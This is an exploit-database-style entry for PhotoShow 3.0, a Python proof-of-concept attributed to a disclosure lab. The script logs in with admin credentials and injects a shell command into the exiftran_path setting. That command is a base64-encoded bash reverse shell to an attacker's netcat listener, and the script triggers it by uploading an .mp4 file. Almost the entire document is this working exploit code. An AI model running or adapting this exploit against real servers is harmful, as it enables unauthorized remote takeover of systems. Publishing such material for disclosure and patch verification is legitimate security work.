PhotoShow 3.0 – Remote Code Execution
# Exploit Title: PhotoShow 3.0 - Remote Code Execution # Date: January 11, 2023 # Exploit Author: LSCP Responsible Disclosure Lab # Detailed Bug Description: https://lscp.llc/index.php/2021/07/19/how-white-box-hacking-works-remote-code-execution-and-stored-xss-in-photoshow-3-0/ # Vendor Homepage: https://github.com/thibaud-rohmer # Software Link: https://github.com/thibaud-rohmer/PhotoShow # Version: 3.0 # Tested on: Ubuntu 20.04 LTS # creds of a user with admin privileges required import sys import requests import base64 import urllib.parse if(len(sys.argv)!=6): print('Usage: \n\tpython3 ' + sys.argv[0] + ' "login" ' + '"password" "target_ip" "attacker_ip" "attacker_nc_port"') quit() login=sys.argv[1] password=sys.argv[2] targetIp = sys.argv[3] attackerIp = sys.argv[4] attackerNcPort = sys.argv[5] def main(): session = requests.Session() #login as admin user logInSession(session, targetIp, login, password) #change application behaviour for handling .mp4 video uploadExpoit(session, targetIp, attackerIp, attackerNcPort) #send the shell to attaker's nc by uploading .mp4 video sendMP4Video(session, targetIp) print("Check your netcat") def logInSession(session, targetIp, login, password): session.headers.update({'Content-Type' : "application/x-www-form-urlencoded"}) data = "login="+login+"&password="+password url = "http://"+targetIp+"/?t=Login" response= session.post(url, data=data) phpsessid=response.headers.get("Set-Cookie").split(";")[0] session.headers.update({'Cookie' : phpsessid}) def uploadExpoit(session, targetIp, attackerIp, attackerNcPort): exiftranPathInjection=createInjection(attackerIp, attackerNcPort) url = "http://"+targetIp+"/?t=Adm&a=Set" data = "name=PhotoShow&site_address=&loc=default.ini&user_theme=Default&" \ + "rss=on&max_comments=50&thumbs_size=200&fbappid=&ffmpeg_path=&encode_video=on&"\ + "ffmpeg_option=-threads+4+-vcodec+libx264+-acodec+libfdk_aac&rotate_image=on&"\ + exiftranPathInjection session.post(url, data=data).content.decode('utf8') def createInjection(attakerIp, attackerNcPort): textToEncode = "bash -i >& /dev/tcp/"+attackerIp+"/"+attackerNcPort+" 0>&1" b64Encoded = base64.b64encode(textToEncode.encode("ascii")) strb64 = str(b64Encoded) strb64 = strb64[2:len(strb64)-1] injection = {"exiftran_path":"echo "+ strb64 +" | base64 -d > /tmp/1.sh ;/bin/bash /tmp/1.sh"} return urllib.parse.urlencode(injection) def sendMP4Video(session, targetIp): session.headers.update({'Content-Type' : "multipart/form-data; "\ +"boundary=---------------------------752343701418612422363028651"}) url = "http://"+targetIp+"/?a=Upl" data = """-----------------------------752343701418612422363028651\r Content-Disposition: form-data; name="path"\r \r \r -----------------------------752343701418612422363028651\r Content-Disposition: form-data; name="inherit"\r \r 1\r -----------------------------752343701418612422363028651\r Content-Disposition: form-data; name="images[]"; filename="a.mp4"\r Content-Type: video/mp4\r \r a\r -----------------------------752343701418612422363028651--\r """ try: session.post(url, data=data, timeout=0.001) except requests.exceptions.ReadTimeout: pass if __name__ =="__main__": main() |